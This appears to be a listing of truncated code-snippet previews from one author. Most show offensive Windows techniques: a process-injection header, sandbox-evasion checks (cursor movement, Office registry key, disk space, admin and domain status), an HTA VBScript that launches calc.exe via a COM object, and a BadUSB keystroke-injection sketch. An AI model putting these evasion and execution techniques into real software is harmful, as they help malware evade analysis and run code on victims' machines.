OlivierLaflamme

using System;
using System.Runtime.InteropServices;
using System.Text;

namespace SendMessageKernelCallback
{
    /*References:
     * 1. https://t0rchwo0d.github.io/windows/Windows-Process-Injection-Technique-KernelCallbackTable/
     * 2. https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/
     */

OlivierLaflamme

from z3 import *

    # 9x9 matrix of integer variables
X = [ [ Int("x_%s_%s" % (i+1, j+1)) for j in range(9) ]
      for i in range(9) ]

s = Solver()

# A --> 0
# B --> 1

OlivierLaflamme

bool checkMousePosition()
{
    POINT pos1, pos2;
    GetCursorPos(&pos1);
    Sleep(13000);
    GetCursorPos(&pos2);
    if ((pos1.x == pos2.x) && (pos1.y == pos2.y))
    {
        return false;
    }

OlivierLaflamme

BOOL chkOfficeRegKey() {
    HKEY hkResult = NULL;
    TCHAR lpSubKey[] = L"SOFTWARE\\Microsoft\\Office";
    HKEY hKey = HKEY_CURRENT_USER;
    if (RegOpenKeyEx(hKey, lpSubKey, NULL, KEY_ALL_ACCESS, &hkResult) == ERROR_SUCCESS)
    {
        return true;
    }
    else
        return false;

OlivierLaflamme

bool isDiskSpaceAvailable()
{
    // Disk size
    // We are using GetDiskFreeSpaceExA
    // Retrieves information about the amount of space that is available on a disk volume,
    // which is the total amount of space, the total amount of free space, and the total
    // amount of free space available to the user that is associated with the calling thread.
    // https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdiskfreespaceexa

    ULARGE_INTEGER iFreeBytesAvailableToCaller, iTotalNumberOfBytes, iTotalNumberOfFreeBytes;

OlivierLaflamme

bool isAdmin()
{
    if (IsUserAnAdmin())
    {
        return false;
    }
    return true;
}

OlivierLaflamme

bool isPartofDomain()
{
    NET_API_STATUS nas;
    _NETSETUP_JOIN_STATUS status;
    LPWSTR buf = NULL;
    nas = NetGetJoinInformation(NULL, &buf, &status);
    if (nas == NERR_Success)
    {
        if (status == NetSetupDomain)
        {

OlivierLaflamme

using System;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;


namespace GetDisplayInformation
{
    class Program
    {
        [DllImport("user32.dll", CharSet = CharSet.Auto)]

OlivierLaflamme

<script language="VBScript">
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "calc.exe",Null,"C:\Windows\System32",Null,0 
self.close
</script>

OlivierLaflamme

#include <HID.h>
#include <Keyboard.h>

void setup() {//initialization
  Keyboard.begin();//Start keyboard communication
  delay(5000);//delay
  Keyboard.press(KEY_LEFT_GUI);//win key
  delay(500);
  Keyboard.press('r');//r key
  delay(500);